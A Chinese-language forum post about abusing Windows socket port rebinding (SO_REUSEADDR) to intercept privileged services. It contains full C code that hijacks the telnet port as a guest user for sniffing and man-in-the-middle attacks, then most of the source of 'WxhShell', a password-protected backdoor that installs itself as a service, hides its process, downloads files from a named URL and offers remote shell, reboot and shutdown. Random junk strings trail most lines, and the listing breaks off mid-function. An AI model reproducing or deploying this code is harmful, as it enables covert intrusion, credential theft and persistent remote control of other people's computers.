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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6B7<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a{<p '_  
;;ER"N  
  saddr.sin_family = AF_INET; "KMLk  
jrIA]K6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `^v4zWDK  
S304ncS|M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u9TzZ  
HG2N-<$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -'I _*fu  
k4S} #!  
  这意味着什么?意味着可以进行如下的攻击: l% rx#;=u  
cqeR<len  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /SnynZ.q  
:|Z$3q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R;H?gE^m-  
1a<]$tZk  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J__;.rnk  
ykxbX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q^Z~IZ8IT  
'Pf_5q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 LYp'vZ!  
Nc{]zWL9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Uh>.v |P6  
|r5e{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 sC% b~  
-@rxiC:Q  
  #include ddo ST``G  
  #include HV ;;  
  #include D,MyI#  
  #include    Ej' 7h~=v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z`rK\Bc  
  int main() >4,{6<|  
  { %PzQ\c  
  WORD wVersionRequested; 'nMApPl  
  DWORD ret; A^pu  
  WSADATA wsaData; p?;-!TUv  
  BOOL val; ;_iPm?Y8  
  SOCKADDR_IN saddr; CE{z-_{ ^  
  SOCKADDR_IN scaddr; D,k(~  
  int err; WElrk:b  
  SOCKET s; jRofG'  
  SOCKET sc; R 4V \B  
  int caddsize; Hz E1r+3Q@  
  HANDLE mt; WNhbXyp_  
  DWORD tid;   SC'BmR"ox  
  wVersionRequested = MAKEWORD( 2, 2 ); ^Z2kq2}a  
  err = WSAStartup( wVersionRequested, &wsaData ); , 7Xqte  
  if ( err != 0 ) { (zY *0lN  
  printf("error!WSAStartup failed!\n"); u,f A!  
  return -1; prZ55MS.  
  } #Rc5c+/(  
  saddr.sin_family = AF_INET; So#dJ>   
   iSlFRv?a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o w2$o\hC  
gC`)]*'tE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X:Q$gO?[4  
  saddr.sin_port = htons(23); 9UP:J0 `  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _vL<h$vD  
  { fE^uF[-7?  
  printf("error!socket failed!\n"); 6^sHgYR  
  return -1; e&2wdH&  
  } J/t!- !  
  val = TRUE; }w@gj"\H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 aM$\#Cx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) eaQ90B4  
  { f/ajejYo?,  
  printf("error!setsockopt failed!\n"); AliRpxxd  
  return -1; ~n6[$WjZA  
  } ;-Ss# &  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1~'_K9eE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |q_ !. a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =2,0Wo]$  
W<NmsG})_g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,d|vP)SS  
  { Tw//!rp G  
  ret=GetLastError(); L~dC(J)@ZI  
  printf("error!bind failed!\n"); Noh?^@T`Ov  
  return -1; IZ8y}2  
  } OC_M4{9/  
  listen(s,2); J3G7zu8  
  while(1) :mpiAs<%U"  
  { =OYQM<q  
  caddsize = sizeof(scaddr); W/r^ugDV  
  //接受连接请求 I]X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cOkgoL" 4  
  if(sc!=INVALID_SOCKET) H?uukmZl  
  { 4 \p -TPM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x l0DN{PG  
  if(mt==NULL) aX^+ O,  
  { Pdw#o^Iq^  
  printf("Thread Creat Failed!\n"); 4<.O+hS  
  break; r~8;kcu7  
  } DZe}y^F  
  } 8Bpip  
  CloseHandle(mt); .^[_ V  
  } .$ Bwb/a  
  closesocket(s); %9o+zg? RJ  
  WSACleanup(); M^6$ MMx  
  return 0; W&(f&{A  
  }   LmQ/#Gx  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z)&D`RCf  
  { =-~;OH /  
  SOCKET ss = (SOCKET)lpParam; cS|VJWgTZ  
  SOCKET sc;  i-W  
  unsigned char buf[4096]; '# z]M  
  SOCKADDR_IN saddr; |;u}sX1t9  
  long num; s-k_d<  
  DWORD val; z<pJYpxH  
  DWORD ret; \cQ .|S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R#(G%66   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   s /%:dnij  
  saddr.sin_family = AF_INET; n|i"S`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :EZQ'3X  
  saddr.sin_port = htons(23); ++8_fgM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lJ{V  
  { +;q.Y?  
  printf("error!socket failed!\n"); H9` f0(H  
  return -1; PJgp+u<  
  } n.hElgkUOr  
  val = 100; kIvvEh<L=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <\@ 1Zz@ms  
  { }B q^3?,#{  
  ret = GetLastError(); Y ?'tUV  
  return -1; [f!O6moR6  
  } 0oU=RbC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LdTdQ,s<  
  { Ct]A%=cZW  
  ret = GetLastError(); [s` G^  
  return -1; ?4[H]BK  
  } :\yc*OtX  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u3ZCT" !  
  { DQJG,?e{  
  printf("error!socket connect failed!\n"); &mE?y%  
  closesocket(sc); I,O#X)O|i  
  closesocket(ss); /#S>sOg2xq  
  return -1; 8o-bd_  
  } _:J*Cm[q  
  while(1) Z$'I Bv  
  { g4&jo_3:p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $-vo}k%M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T_#, A0G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -<N&0F4|*  
  num = recv(ss,buf,4096,0); K`k'}(vj  
  if(num>0) nWWM2v  
  send(sc,buf,num,0); 8`v$liH  
  else if(num==0) H?yE3 w  
  break; Q:MhjkOr}  
  num = recv(sc,buf,4096,0); i0pU!`0  
  if(num>0) Tby,J B^U  
  send(ss,buf,num,0); S KXD^OH  
  else if(num==0) F}X0',   
  break; 7m1KR#j  
  } Q\kub_I{@  
  closesocket(ss); Sm|(  
  closesocket(sc); m)&znLA  
  return 0 ; +F@_Es<6  
  } `UzVS>]l[+  
=P^wh  
+S~.c;EK  
========================================================== IFuZ]CBz  
or_+2aG  
下边附上一个代码,,WXhSHELL c3xl9S,5  
HGDV O Jq  
========================================================== >SCGK_Cr2  
+=P@HfVfiq  
#include "stdafx.h" 1n%8j*bJq  
3qM Nl>>  
#include <stdio.h> 4]XI"-M^D  
#include <string.h> 6C-YyI#s#  
#include <windows.h> 8_we: 9A  
#include <winsock2.h> (P@Y36j>N  
#include <winsvc.h> or?%-)  
#include <urlmon.h> 85]SC$  
:tGYs8UK  
#pragma comment (lib, "Ws2_32.lib") 61K"(r~  
#pragma comment (lib, "urlmon.lib") ..KwTf  
k#)Ad*t  
#define MAX_USER   100 // 最大客户端连接数 3|kgTB-  
#define BUF_SOCK   200 // sock buffer 'BqZOZw  
#define KEY_BUFF   255 // 输入 buffer p1O6+hRio  
+=3CL2{An  
#define REBOOT     0   // 重启 v}uJtBG(  
#define SHUTDOWN   1   // 关机 (36K3=Qa  
*l>0t]5YH  
#define DEF_PORT   5000 // 监听端口 i~yX tya  
(#Mp 5C'X  
#define REG_LEN     16   // 注册表键长度 ;b%{ilx:  
#define SVC_LEN     80   // NT服务名长度 A7-r <s  
<94G  
// 从dll定义API *\XH+/]+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RtV.d \  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %XRN]tsu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $Ua56Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i|$z'HK;+  
Ax<\jW<  
// wxhshell配置信息 Z<z;L<tJ 9  
struct WSCFG { VOgi7\  
  int ws_port;         // 监听端口 OtUr GQP  
  char ws_passstr[REG_LEN]; // 口令 f_6`tq m%  
  int ws_autoins;       // 安装标记, 1=yes 0=no Nhf~PO({&  
  char ws_regname[REG_LEN]; // 注册表键名 wNQqfq Z  
  char ws_svcname[REG_LEN]; // 服务名 G=d(*+& B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5nLDj:C~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iI?{"}BZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  Ewo~9 4{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1]OSWCEm*[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UuJjO^t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *^XbDg9  
(GU9p>2  
}; lAASV{s{  
%w"nDu2Gcv  
// default Wxhshell configuration Fi;VDK(V9  
struct WSCFG wscfg={DEF_PORT, ^Udv]Wh  
    "xuhuanlingzhe", ?&c:q3_-Z  
    1, 1;r69e  
    "Wxhshell", #MgvG,  
    "Wxhshell", kDsIp=  
            "WxhShell Service", Tj`5L6N;8  
    "Wrsky Windows CmdShell Service", I4e+$bU3  
    "Please Input Your Password: ", ~!:0iFE&H  
  1, \ L]|-f(4  
  "http://www.wrsky.com/wxhshell.exe", <$Yi]ty  
  "Wxhshell.exe" f} K`Jm_}?  
    }; >)4YP*qIPb  
le .'pP@  
// 消息定义模块 6`e@$(dfA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W)=%mdxW0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Fvl`2W94;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h%}( h2 W  
char *msg_ws_ext="\n\rExit."; <[Oo*:A!7  
char *msg_ws_end="\n\rQuit."; T[uDZYx  
char *msg_ws_boot="\n\rReboot..."; ]> G&jd7  
char *msg_ws_poff="\n\rShutdown..."; igkz2SI  
char *msg_ws_down="\n\rSave to "; M7dU@Ag  
i@$*Csj\9*  
char *msg_ws_err="\n\rErr!"; _" N\b%CkO  
char *msg_ws_ok="\n\rOK!"; !`wW_W  
Faac]5u:*  
char ExeFile[MAX_PATH]; "QY1.:o<(  
int nUser = 0; 9]yW_]P  
HANDLE handles[MAX_USER]; CjZ2z%||=  
int OsIsNt; rY}B-6qJn  
b`~wG e  
SERVICE_STATUS       serviceStatus; \V%_hl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 's%q  
CEtR[Cu  
// 函数声明 0D [@u3W  
int Install(void); By((,QpB  
int Uninstall(void); q-AN[_@  
int DownloadFile(char *sURL, SOCKET wsh); $k0H9_  
int Boot(int flag); c@du2ICUc  
void HideProc(void); bXdY\&fE  
int GetOsVer(void); Y E1Hpeb  
int Wxhshell(SOCKET wsl); 9){  
void TalkWithClient(void *cs); $kz!zjC'  
int CmdShell(SOCKET sock); _<Dt z  
int StartFromService(void); 2CLB1  
int StartWxhshell(LPSTR lpCmdLine); GjQfi'vCk  
U}AX0*S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WH$HI/%*m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5cTY;@@  
^R_e  
// 数据结构和表定义 HnZPw&*  
SERVICE_TABLE_ENTRY DispatchTable[] = ^ddO&!U  
{ <^><3U`  
{wscfg.ws_svcname, NTServiceMain}, bLS&H[f K  
{NULL, NULL} Wmz`&nsn[  
}; Fdt}..H%  
)"u:ytK{  
// 自我安装 V2 `> ]/|  
int Install(void) n9oR)&:o  
{ b|?;h21rG  
  char svExeFile[MAX_PATH]; optBA3@e!  
  HKEY key; z +VV}:Q  
  strcpy(svExeFile,ExeFile); G[yI*/E;  
p@I9< ^"  
// 如果是win9x系统,修改注册表设为自启动 >Y&KTSD"  
if(!OsIsNt) { P_Uutn~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =*MR(b>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vr IV%l=  
  RegCloseKey(key); 2*OxA%QELM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8z T0_vw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &3DK^|Lq  
  RegCloseKey(key); ]Yz'8uts  
  return 0; !#WqA9<  
    } +zO]N&  
  } .Q\\dESn"  
} ZBM!MSf:  
else { ->oz#  
m,6h ee  
// 如果是NT以上系统,安装为系统服务 fl uGf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +/cgw,  
if (schSCManager!=0) Gp|JU Fo  
{ q=0 pQ1>  
  SC_HANDLE schService = CreateService %z)EO9vtr  
  ( J$[Q?8 ka  
  schSCManager, nQLs<]h1  
  wscfg.ws_svcname, E(Gr0#8  
  wscfg.ws_svcdisp, eyB_l.U7  
  SERVICE_ALL_ACCESS, F(4yS2h(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rsxRk7s@  
  SERVICE_AUTO_START, z7=fDe -  
  SERVICE_ERROR_NORMAL, >t #\&|9I  
  svExeFile, p;->hn~D'5  
  NULL, 5gK~('9'?1  
  NULL, 5*j:K&R-.K  
  NULL, W~dE  
  NULL, T$c+m\j6  
  NULL 8 /m3+5  
  ); Rx S884  
  if (schService!=0) *m&&1W_  
  { /hci\-8N~  
  CloseServiceHandle(schService); L@A9{,9Pl  
  CloseServiceHandle(schSCManager); s]x2DH+_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j|4tiv>  
  strcat(svExeFile,wscfg.ws_svcname); |- OHve4A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x# 8IZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h48 bb.p2  
  RegCloseKey(key); E .;io*0  
  return 0; PqfVX8/q0  
    } t)(v4^T  
  } 3o0IjZ=[>  
  CloseServiceHandle(schSCManager); 1t2cY;vJ  
} :,YLx9i>  
} %ck`0JZAP  
wAz,vq=x  
return 1; `A{'s %$?!  
} m+T2vi  
065A?KyD  
// 自我卸载 cx:jUsb6  
int Uninstall(void) 3- )kwy6L  
{ 9::YR;NY  
  HKEY key; VjTAN=  
C yf]`*  
if(!OsIsNt) { #pa\ 2d|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8S=c^_PJ  
  RegDeleteValue(key,wscfg.ws_regname); t>oM%/H  
  RegCloseKey(key); 0UjyMEiK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q)dT(Td9~  
  RegDeleteValue(key,wscfg.ws_regname); $4h04_"  
  RegCloseKey(key); ~UW{)]_jox  
  return 0; Q9q9<J7j$  
  } M6x;BjrV  
} Y[,U_GX/R  
} g& >m P?  
else { Eq7gcDQ  
G>j "cj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y`+<X{V5L  
if (schSCManager!=0) n|Ma&qs  
{ n}5x-SxS0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _w%s(dzk  
  if (schService!=0) I,9~*^$  
  { !vrnoFVu  
  if(DeleteService(schService)!=0) { VY{,x;O`  
  CloseServiceHandle(schService); nOr"K;C  
  CloseServiceHandle(schSCManager); -;S3|  
  return 0; .m'N7`VB  
  } 4^BLSK~(  
  CloseServiceHandle(schService); l~{T#Q  
  } qL~Pjr>cF  
  CloseServiceHandle(schSCManager); /0!$p[cjm  
} v/(__xN`B  
} Xr)g  
W7]mfy^  
return 1; i59k"pNm  
} U)b &zZc;  
T/ Ez*iQW  
// 从指定url下载文件 h%|9]5(=  
int DownloadFile(char *sURL, SOCKET wsh) 4Xr"d@2(  
{  l58l  
  HRESULT hr; [$H( CH`  
char seps[]= "/"; M'vXyb%$1  
char *token; LA>dkPB  
char *file; A1 b6Zt  
char myURL[MAX_PATH]; ; ?j~8  
char myFILE[MAX_PATH]; qG*_w RF  
`F@f?*s:  
strcpy(myURL,sURL); yT2vO_rH  
  token=strtok(myURL,seps); "rf\' 9=  
  while(token!=NULL) GMyoSe%1/  
  { {AtfK>D  
    file=token; su%Z{f)#  
  token=strtok(NULL,seps); B=^2g}mgK  
  } Z#[>N,P  
v@]6<e$  
GetCurrentDirectory(MAX_PATH,myFILE); uvNnW}G4  
strcat(myFILE, "\\"); H|x k${R`  
strcat(myFILE, file); 0sY#MHPT&  
  send(wsh,myFILE,strlen(myFILE),0); P[6dTZ!\s  
send(wsh,"...",3,0); #C'o'%!(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q0_M-^~WT  
  if(hr==S_OK) b^;N>zx  
return 0; }]Qmt5'NI  
else WMRYT"J?N]  
return 1; Ds;Rb6WcnY  
JO]`LF]  
} :v''"+\  
WJBW:2=;  
// 系统电源模块 U8Cw7u2  
int Boot(int flag) 0  %C!`7  
{ |ORmS& 7  
  HANDLE hToken; R,fMZHAG  
  TOKEN_PRIVILEGES tkp; ?%_]rr9  
[%7IQ4`{  
  if(OsIsNt) { 60(}_%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F9ZOSL 8Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P] {B^,E  
    tkp.PrivilegeCount = 1; z[_R"+   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |~Htj4K/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LAOdH/*:  
if(flag==REBOOT) { z2"2tFK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W8\PCXnsfl  
  return 0; 3T Yo  
} 4Q &Xb <  
else { ^p'D<!6sK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F%Ro98?{  
  return 0; _ +0uju?o}  
} eimA *0Cq  
  } pqRO[XEp2  
  else { 0W!V V=j<}  
if(flag==REBOOT) { Q';\tGy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5EVB27k  
  return 0; :XNK-A W  
} 4'd;'SvF  
else { }A)^XZ/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +5N^TnBtBL  
  return 0; KzxW?Ji$S  
} mkKRC;  
} ZA 99vO  
z{7,.S u  
return 1; gs^UR6 D,  
} Cnb[t[hk+j  
@$K![]oD  
// win9x进程隐藏模块 ;7B2~zL  
void HideProc(void) l{B< "+8  
{ )dUd`g  
P\Pc/[ Z7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~2;&pZ$  
  if ( hKernel != NULL ) s8/ozaeo  
  { (2hk <  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QySca(1tN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )x9nED{  
    FreeLibrary(hKernel); n0 fF,?gm  
  } >@q2FSMf  
VO\S>kw  
return; #! K~_DL  
} jn5=N[hd  
uL qpbn  
// 获取操作系统版本 oj,Vi-TZ  
int GetOsVer(void) * wQZ '  
{ q/aL8V<"z  
  OSVERSIONINFO winfo; {HE.mHy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _KT]l./  
  GetVersionEx(&winfo); >G w%r1)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bUZ&}(/  
  return 1; z[<pi :  
  else : .UX[!^  
  return 0; k;AV;KWI'  
} U)T/.L{0i  
&~D.")Dz  
// 客户端句柄模块 10QNV=yK7s  
int Wxhshell(SOCKET wsl) T`(;;%  
{ 7Vof7Y <  
  SOCKET wsh; l{%Op\  
  struct sockaddr_in client; 2t Z\{=  
  DWORD myID; 4 G68WBT  
SOi(5]  
  while(nUser<MAX_USER) ;Wp`th!F  
{ cl9;2D"Zm!  
  int nSize=sizeof(client); !:!@dC%8_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R'$ T6FB5  
  if(wsh==INVALID_SOCKET) return 1; GoZJDE3  
1v8:,!C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R}K5'`[%ZY  
if(handles[nUser]==0) x]jdx#'  
  closesocket(wsh); .k?hb]2N  
else rym\5 `)  
  nUser++; C[/U y  
  } z 2EI"'4\9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lhvZ*[[<)  
c#4ZDjvm6  
  return 0; 28ov+s~1+-  
} | 2c!t$O@v  
SBB bniK-  
// 关闭 socket 8Jly! =Qm5  
void CloseIt(SOCKET wsh) OM&\Mo  
{ H2t pP~!G  
closesocket(wsh); :_[cT,3  
nUser--; ,`B>}  
ExitThread(0); C&#KdvN/r  
} vpr @  
bD^ob.c.A  
// 客户端请求句柄 B0?@k  
void TalkWithClient(void *cs) o dQ&0d  
{ T>:g ME  
JqV<A3i  
  SOCKET wsh=(SOCKET)cs; whp\*]8  
  char pwd[SVC_LEN]; ;>x1)|n5  
  char cmd[KEY_BUFF]; #__'U6`(  
char chr[1]; z_iyuLRdb  
int i,j; M97p.;;  
9g,L1 W*  
  while (nUser < MAX_USER) { #z54/T  
ba:du |Ec  
if(wscfg.ws_passstr) { d4=u`2w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U3iyuE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ng)yCa_Ny  
  //ZeroMemory(pwd,KEY_BUFF); .6-o?=5  
      i=0; U~`^Y8UF  
  while(i<SVC_LEN) { O%h 97^%k  
w+TuS).  
  // 设置超时 LCm}v&~%A  
  fd_set FdRead; QMfy^t+I  
  struct timeval TimeOut; *gMP_I  
  FD_ZERO(&FdRead); j`-y"6)  
  FD_SET(wsh,&FdRead); |^9ig_k`  
  TimeOut.tv_sec=8; IXk'?9  
  TimeOut.tv_usec=0; */h 9"B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )RKhEm%Vr2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J+*Y)k  
#3ro?w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vT<wd#  
  pwd=chr[0]; U=1`. Ove  
  if(chr[0]==0xd || chr[0]==0xa) { `U>b6 {K  
  pwd=0; ,OFr]74\  
  break; K OHH74}_  
  } 5v-;*  
  i++; Dve5m=  
    } I6 Q_A  
745V!#3!M  
  // 如果是非法用户,关闭 socket RloPP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5|={1Lp24g  
} ,]N%(>ot  
>knR>96  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G:s:NXy^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jWm BUHCb  
>$9yQ9&|  
while(1) { _BA_lkN+D  
iSW73P;)  
  ZeroMemory(cmd,KEY_BUFF); |*| a~t  
':>*=&  
      // 自动支持客户端 telnet标准   J]YN2{(x  
  j=0; lNPbU ~k  
  while(j<KEY_BUFF) { OmuZ 0@ .  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vF\zZ<R/  
  cmd[j]=chr[0]; Qy,qQA/   
  if(chr[0]==0xa || chr[0]==0xd) { M|]1}8d?  
  cmd[j]=0; 8$olP:d  
  break; H/I`c>Zn  
  } FDC{8e  
  j++; _cs9R%  
    } lfG's'U-z  
<plR<iI.  
  // 下载文件 *}&aK}h}I  
  if(strstr(cmd,"http://")) { 6-YR'ikU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LX&P]{q KS  
  if(DownloadFile(cmd,wsh)) 3k0%H]wt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;MI<J>s  
  else `3n*4Lz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1"6k5wrIA  
  } @z q{#7%z  
  else { *G=AhH$t  
3]'z8i({7Y  
    switch(cmd[0]) { j06oAer 9  
  aH"c0 A  
  // 帮助 7y7y<`)I5  
  case '?': { DNe^_v)]|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L ,/i%-J3c  
    break; xxn&{\ ?  
  } ]~ M -KT  
  // 安装 ::`wx@  
  case 'i': { rI789 q  
    if(Install()) ^)pY2t<^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tq8r SZi  
    else 1ouTZ'c?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t}gqk'  
    break; /GaR&  
    } ~MO C r  
  // 卸载 k 'b|#c9c  
  case 'r': {  :i$Z  
    if(Uninstall()) Fgk/Ph3r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %"2B1^o>  
    else lhTbgM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jwox?]f+  
    break; }6N|+z.cU  
    } mY( _-[W  
  // 显示 wxhshell 所在路径 ]H[\~J  
  case 'p': { ISmnZ@  
    char svExeFile[MAX_PATH]; <,C})H?  
    strcpy(svExeFile,"\n\r"); T5;D0tM/  
      strcat(svExeFile,ExeFile); m`"s$\fah  
        send(wsh,svExeFile,strlen(svExeFile),0); N~d]}J8}gx  
    break; P|U>(9;P,  
    } U?{j  
  // 重启 O=/Tx2i;  
  case 'b': { )Cl&"bX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KRe=n3 1  
    if(Boot(REBOOT)) }D O#{@af  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0iHI "9z  
    else { 5ntP{p%>  
    closesocket(wsh); zL'n J  
    ExitThread(0); k5YDqG n'q  
    } c`QsKwa  
    break; U\{Z{F%8  
    } ENzeVtw0  
  // 关机 =qvU9p2o  
  case 'd': { z wW9>Y  
